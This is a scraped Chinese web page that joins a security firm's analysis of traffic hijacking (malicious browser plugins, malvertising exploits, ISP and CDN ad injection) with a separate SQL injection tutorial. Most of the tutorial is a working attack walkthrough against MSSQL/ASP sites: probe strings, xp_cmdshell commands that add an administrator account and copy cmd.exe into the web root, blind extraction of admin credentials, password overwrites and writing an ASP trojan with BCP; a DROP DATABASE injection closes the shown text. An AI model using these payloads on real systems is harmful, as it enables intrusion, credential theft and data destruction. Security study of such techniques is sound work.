3.变种速度比较快,屡杀不止,被安全软件拦截清理后很快就会更换数字签名,甚至换个软件外壳包装后卷土重来。这些数字签名注册的企业信息很多都是流氓软件作者从其他渠道专门收购的。

劫持流量原理是什么?关于劫持流量的种类和产生

[3]某流氓软件1个月内多次更换数字签名证书逃避安全软件查杀

下面可以通过几个典型案例了解下这些流氓软件进行流量劫持的技术手法:

1)通过浏览器插件进行流量劫持的QTV系列变种,该样本针对IE浏览器通过BHO插件在用户网页中注入JS脚本,针对chrome内核的浏览器利用漏洞绕过了部分浏览器插件的正常安装步骤,通过篡改配置文件添加浏览器插件实现动态劫持。

劫持流量原理是什么?关于劫持流量的种类和产生

[4]被静默安装到浏览器中的插件模块,通过JS注入劫持网页

通过注入JS脚本来劫持用户网页浏览的技术优点也很明显,一方面注入的云端JS脚本比较灵活,可以随时在云端控制修改劫持行为,另一方面对于普通用户来说非常隐蔽,难以察觉。被注入用户网页的JS脚本的对网页浏览中大部分的推广流量都进行了劫持,如下图:

劫持流量原理是什么?关于劫持流量的种类和产生

[5] 在网页中注入JS劫持推广流量

2)下面这个“高清影视流氓病毒”案例是去年曾深入跟踪的一个流氓病毒传播团伙,该类样本主要伪装成播放器类的流氓软件进行传播,技术特点如下图所示,大部分劫持模块都是驱动文件,通过动态内存加载到系统内核,实现浏览器劫持、静默推广等病毒行为。

劫持流量原理是什么?关于劫持流量的种类和产生

[6] “高清影视”木马劫持流程简图

从木马后台服务器取证的文件来看,该样本短期内传播量非常大,单日高峰达到20w+,一周累计感染用户超过100万,安装统计数据库每天的备份文件都超过1G。

劫持流量原理是什么?关于劫持流量的种类和产生

[7] “高清影视”木马后台服务器取证 

2.持续活跃的广告弹窗挂马

提到流量劫持,不得不说到近2年时间内保持高度活跃的广告弹窗挂马攻击案例,原本的广告流量被注入了网页木马,以广告弹窗等形式在客户端触发,这属于一种变相的流量劫持,更确切的说应该称之为“流量污染”或“流量投毒”,这里我们将其归类为本地劫持。

近期挂马利用的漏洞多为IE神洞(cve-2014-6332)和HackingTeam泄漏的多个Flash漏洞。通过网页挂马,流量劫持者将非常廉价的广告弹窗流量转化成了更高价格的安装量,常见的CPM、CPV等形式的广告流量每1000用户展示只有几元钱的成本,假设网页挂马的成功率有5%,这意味着劫持者获取到20个用户的安装量,平均每个用户静默安装5款软件,劫持者的收益保守估计有50元,那么“广告流量投毒”的利润率就近10倍。这应该就是近两年网页挂马事件频发背后的最大源动力。

劫持流量原理是什么?关于劫持流量的种类和产生

[8] 网页木马经常使用的IE神洞(CVE-2014-6332)
劫持流量原理是什么?关于劫持流量的种类和产生

[9] 网页木马利用IE浏览器的res协议检测国内主流安全软件

这些广告流量大多来自于软件弹窗、色情站点、垃圾站群、运营商劫持量等等,其中甚至不乏很多知名软件的广告流量,从我们的监测数据中发现包括酷狗音乐、搜狐影音、电信管家、暴风影音、百度影音、皮皮影音等多家知名软件厂商的广告流量被曾被劫持挂马。正是因为如此巨大的流量基数,所以一旦发生挂马事件,受到安全威胁的用户数量都是非常巨大的。

劫持流量原理是什么?关于劫持流量的种类和产生

[10] 对利用客户端弹窗挂马的某病毒服务器取证发现的flash漏洞exp

据了解很多软件厂商对自身广告流量的管理监控都存在漏洞,有些甚至经过了多层代理分包,又缺乏统一有力的安全审核机制,导致被插入网页木马的“染毒流量”被大批推送到客户端,最终导致用户系统感染病毒。在样本溯源过程中,我们甚至在某知名音乐软件中发现一个专门用于暗刷广告流量的子模块。用户越多责任越大,且行且珍惜。

劫持流量原理是什么?关于劫持流量的种类和产生

[11] 2015年某次挂马事件涉及的弹窗客户端进程列表
劫持流量原理是什么?关于劫持流量的种类和产生

[12] 对2015年度最活跃的某挂马服务器的数据库取证(高峰期每小时5k+的安装量) 

二、网络劫持

流量劫持的故事继续发展,当一个网络数据包成功躲开了本地主机系统上的层层围剿,离开用户主机穿行于各个路由网关节点,又开启了一段新的冒险之旅。在用户主机和远程服务器之间的道路同样是埋伏重重,数据包可能被指引向错误的终点(DNS劫持),也可能被半路冒名顶替(302重定向),或者直接被篡改(http注入)。

1.运营商劫持

提起网络劫持往往第一个想起的就是运营商劫持,可能每一个上网的用户或多或少都曾经遇到过,电脑系统或手机用安全软件扫描没有任何异常,但是打开正常网页总是莫名其妙弹出广告或者跳转到其他网站。对普通用户来说这样的行为可以说深恶痛绝,企业和正规网站同样也深受其害,正常业务和企业形象都会受到影响,在15年年底,腾讯、小米、微博等6家互联网公司共同发表了一篇抵制运营商流量劫持的联合声明。

在我们日常的安全运营过程中也经常接到疑似运营商劫持的用户反馈,下面讲述一个非常典型的http劫持跳转案例,用户反馈打开猎豹浏览器首页点击下载就会弹出广告页面,经过我们的检测发现用户的网络被运营商劫持,打开网页的数据包中被注入了广告劫持代码。类似的案例还有很多,除了明面上的广告弹窗,还有后台静默的流量暗刷。对于普通用户来说,可能只有运营商客服投诉或工信部投诉才能让这些劫持行为稍有收敛。

劫持流量原理是什么?关于劫持流量的种类和产生

[13] 用户打开网页的数据包被注入广告代码
劫持流量原理是什么?关于劫持流量的种类和产生

[14] 用户任意点击网页触发广告弹窗跳转到“6间房”推广页面

这个案例劫持代码中的域名“abc.ss229.com”归属于推广广告联盟,在安全论坛和微博已有多次用户反馈,其官网号称日均PV达到2.5亿。其实运营商劫持流量的买卖其实已是圈内半公开的秘密,结合对用户上网习惯的分析,可以实现对不同地区、不同群体用户的精准定制化广告推送,感兴趣的读者可以自行搜索相关的QQ群。

劫持流量原理是什么?关于劫持流量的种类和产生

[15] 公开化的运营商劫持流量买卖

缺乏安全保护的dns协议和明文传输的http流量非常容易遭到劫持,而运营商占据网络流量的必经之路,在广告劫持技术上具有先天优势,比如常见的分光镜像技术,对于普通用户和厂商来说对抗成本相对较高,另一方面国内主流的搜索引擎、导航站点、电商网站都已经开始积极拥抱更加安全的https协议,这无疑是非常可喜的转变。

劫持流量原理是什么?关于劫持流量的种类和产生

[16] 常用于运营商流量劫持的分光镜像技术

wooyun平台上也曾多次曝光运营商流量劫持的案例,例如曾经被用户举报的案例“下载小米商城被劫持到UC浏览器APP”,感谢万能的白帽子深入某运营商劫持平台系统为我们揭秘内幕。

劫持流量原理是什么?关于劫持流量的种类和产生

[17] 被曝光的某运营商apk下载分发劫持的管理后台

以上种种,不得不让人想起“打劫圈”最富盛名的一句浑语,“此山是我开,此树是我栽,要想过此路,留下买路财”,“买网络送广告”已经成为网络运营商的标准套餐。这些劫持流量的买卖显然不仅仅是所谓的“个别内部员工违规操作”,还是那句话,用户越多责任越大,且行且珍惜。

2.CDN缓存污染

CDN加速技术本质上是一种良性的DNS劫持,通过DNS引导将用户对服务器上的js、图片等不经常变化的静态资源的请求引导到最近的服务器上,从而加速网络访问。加速访问的良好用户体验使CDN加速被各大网站广泛使用,其中蕴含的惊人流量自然也成为流量劫持者的目标。

劫持流量原理是什么?关于劫持流量的种类和产生

[18] 用户打开正常网页后跳转到“色播”诱导页面

去年我们曾多次接到用户反馈使用手机浏览器打开网页时经常被跳转到色情推广页面,经过抓包分析,发现是由于百度网盟CDN缓存服务器中的关键JS文件被污染注入广告代码,劫持代码根据user-agent头判断流量来源后针对PC、android、iso等平台进行分流弹窗,诱导用户安装“伪色播”病毒APP。

劫持流量原理是什么?关于劫持流量的种类和产生

[19] 抓包分析显示百度网盟的公共JS文件被注入广告代码
劫持流量原理是什么?关于劫持流量的种类和产生

[20] 劫持代码根据访问来源平台的不同进行分流,推广“伪色播”病毒app
百度网盟作为全国最大的广告联盟之一,每天的广告流量PV是都是以亿为单位的,其CDN缓存遭遇劫持产生的影响将非常广泛。通过分析我们确认全国只有个别地区的网络会遭遇此类劫持,我们也在第一时间将这个情况反馈给了友商方面,但造成缓存被劫持的原因没有得到最终反馈,是运营商中间劫持还是个别缓存服务器被入侵导致还不得而知,但是这个案例给我们的CDN服务的安全防护再一次给我们敲响警钟。

上一页12 下一页

SQL注入攻击(攻击与防范)

$
0
0
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
SQL注入攻击的总体思路
  ·发现SQL注入位置;
  ·判断后台数据库类型;
  ·确定XP_CMDSHELL可执行情况
  ·发现WEB虚拟目录
  ·上传ASP木马;
  ·得到管理员权限;
SQL注入攻击的步骤
  一、SQL注入漏洞的判断
  一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。
  为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
  为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。
  1、整型参数的判断
  当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
  select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
  ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
  select * from 表名 where 字段=YY’,abc.asp运行异常;
  ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
  ③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
  如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
  2、字符串型参数的判断
  当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
  select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
  ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
  select * from 表名 where 字段=YY’,abc.asp运行异常;
  ②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
  ③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;
  如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
  3、特殊情况的处理
  有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
  ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
  ②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
  ③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;
  二、分析数据库服务器类型
  一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
  1、 利用数据库服务器的系统变量进行区分
  SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
  ① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
  ②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
  2、利用系统表
  ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
  ①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
  ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
  若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
  3、 mssql三个关键系统表
  sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。
  这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
  dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
  Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
  syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
  name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。
  用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
  三、确定XP_CMDSHELL可执行情况
  若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
  1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
  2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
  3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
  4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。
  5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
  6、通过复制CMD创建UNICODE漏洞
  HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
  四、发现WEB虚拟目录
  只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
  一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
  二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
  先创建一个临时表:temp
  HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
  接下来:
  (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
  HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
  我们可以通过查询temp的内容来获得驱动器列表及相关信息
  (2)利用xp_subdirs获得子目录列表,并存入temp表中:
  HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--
  (3)利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
  HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
  注意:
  1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
  HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
  2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。
  五、上传ASP木马
  所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
  1、利用WEB的远程管理功能
  许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
  因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。
  用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
  A、 注入法:
  从理论上说,认证网页中会有型如:
  select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
  如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:
  select * from admin where username='abc’ or 1=1 and password='123’ 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
  B、猜解法:
  基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
  猜解所有数据库名称
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有数据库名。
  以下假设得到的数据库名是TestDB。
  猜解数据库中用户名表的名称
  猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
  读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
  当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
  ①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则
  ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
  根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
  l 猜解用户名字段及密码字段名称
  admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
  猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。
  读取法:基本的实现方法是
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
  l 猜解用户名与密码
  猜用户名与密码的内容最常用也是最有效的方法有:
  ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80);
  猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。
  简单法:猜用户名用
  HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。
  猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
  HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)
  用同样的方法当然可把密码改原来的值。
  2、利用表内容导成文件功能
  SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
  命令行格式如下:
  bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)
  六、得到系统的管理员权限
  ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:
  上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
  复制CMD.exe到scripts,人为制造UNICODE漏洞;
  下载SAM文件,破解并获取OS的所有用户名密码;
  等等,视系统的具体情况而定,可以采取不同的方法。
  七、几个SQL-SERVER专用手段
  1、利用xp_regread扩展存储过程修改注册表
  [xp_regread]另一个有用的内置存储过程是xp_regXXXX类的函数集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开机自动运行程序等。如:
  exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' 确定什么样的会话连接在服务器可用。
  exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
  2、利用其他存储过程去改变服务器
  xp_servicecontrol过程允许用户启动,停止服务。如:
  (exec master..xp_servicecontrol 'start','schedule'
  exec master..xp_servicecontrol 'start','server')
  Xp_availablemedia 显示机器上有用的驱动器
  Xp_dirtree 允许获得一个目录树
  Xp_enumdsn 列举服务器上的ODBC数据源
  Xp_loginconfig 获取服务器安全信息
  Xp_makecab 允许用户在服务器上创建一个压缩文件
  Xp_ntsec_enumdomains 列举服务器可以进入的域
  Xp_terminate_process 提供进程的进程ID,终止此进程
  SQL注入攻击的背景
  在计算机技术高速发展的今天,越来越让人们头疼的是面临越来越“变态”和复杂的威胁网站技术,他们利用Internet 执行各种恶意活动,如身份窃取、私密信息窃取、带宽资源占用等。它们潜入之后,还会扩散并不断更新自己。这些活动常常利用用户的好奇心,在用户不知道或未来允许的情况下潜入用户的PC,不知不觉中,帐户里的资金就被转移了,公司讯息也被传送出去,危害十分严重。2006年8月16日,第一个Web威胁样本出现,截止到2006年10月25日,已经产生了第150个变种,并且,还在不断地演化下去。
  网站威胁的目标定位有多个维度,是个人还是公司,还是某种行业,都有其考虑,甚至国家、地区、性别、种族、宗教等也成为发动攻击的原因或动机。攻击还会采用多种形态,甚至是复合形态,比如病毒、蠕虫、特洛伊、间谍软件、僵尸、网络钓鱼电子邮件、漏洞利用、下载程序、社会工程、rootkit、黑客,结果都可以导致用户信息受到危害,或者导致用户所需的服务被拒绝和劫持。从其来源说Web威胁还可以分为内部攻击和外部攻击两类。前者主要来自信任网络,可能是用户执行了未授权访问或是无意中定制了恶意攻击;后者主要是由于网络漏洞被利用或者用户受到恶意程序制定者的专一攻击。
  SQL注入攻击的网络分析
  SQL注入攻击是非常令人讨厌的安全漏洞,是所有的web开发人员,不管是什么平台,技术,还是数据层,需要确信他们理解和防止的东西。不幸的是,开发人员往往不集中花点时间在这上面,以至他们的应用,更糟糕的是,他们的客户极其容易受到攻击。
  Michael Sutton 最近发表了一篇非常发人深省的帖子,讲述在公共网上这问题是多么地普遍。他用Google的Search API建了一个C#的客户端程序,寻找那些易受SQL 注入攻击的网站。其步骤很简单:
  1,寻找那些带查询字符串的网站(例如,查询那些在URL里带有 "id=" 的URL)
  2,给这些确定为动态的网站发送一个请求,改变其中的id=语句,带一个额外的单引号,来试图取消其中的SQL语句(例如,如 id=6' )
  3,分析返回的回复,在其中查找象“SQL” 和“query”这样的词,这往往表示应用返回了详细的错误消息(这本身也是很糟糕的)
  4,检查错误消息是否表示发送到SQL服务器的参数没有被正确加码(encoded),如果如此,那么表示可对该网站进行SQL注入攻击
  对通过Google搜寻找到的1000个网站的随机取样测试,他检测到其中的11.3%有易受SQL注入攻击的可能。这非常,非常地可怕。这意味着黑客可以远程利用那些应用里的数据,获取任何没有hashed或加密的密码或信用卡数据,甚至有以管理员身份登陆进这些应用的可能。这不仅对开发网站的开发人员来说很糟糕,而且对使用网站的消费者或用户来说更糟糕,因为他们给网站提供了数据,想着网站是安全的呢。
  那么SQL注入攻击到底是什么玩意?
  有几种情形使得SQL注入攻击成为可能。最常见的原因是,你动态地构造了SQL语句,却没有使用正确地加了码(encoded)的参数。譬如,考虑这个SQL查询的编码,其目的是根据由查询字符串提供的社会保险号码(social security number)来查询作者(Authors):
  Dim SSN as String
  Dim SqlQuery as String
  SSN = Request.QueryString("SSN")
  SqlQuery = "SELECT au_lname, au_fname FROM authors WHERE au_id = '" + SSN + "'"
  如果你有象上面这个片断一样的SQL编码,那么你的整个数据库和应用可以远程地被黑掉。怎么会呢?在普通情形下,用户会使用一个社会保险号码来访问这个网站,编码是象这样执行的:
  ' URL to the page containing the above code
  http://mysite.com/listauthordetails.aspx?SSN=172-32-9999
  ' SQL Query executed against the database
  SELECT au_lname, au_fname FROM authors WHERE au_id = '172-32-9999'
  这是开发人员预期的做法,通过社会保险号码来查询数据库中作者的信息。但因为参数值没有被正确地加码,黑客可以很容易地修改查询字符串的值,在要执行的值后面嵌入附加的SQL语句 。譬如,
  ' URL to the page containing the above code
  http://mysite.com/listauthordetails.aspx?SSN=172-32-9999';DROP DATABASE pubs --
  ' SQL Query executed against the database
  SELECT au_lname, au_fname FROM authors WHERE au_id = '';DROP DATABASE pubs --
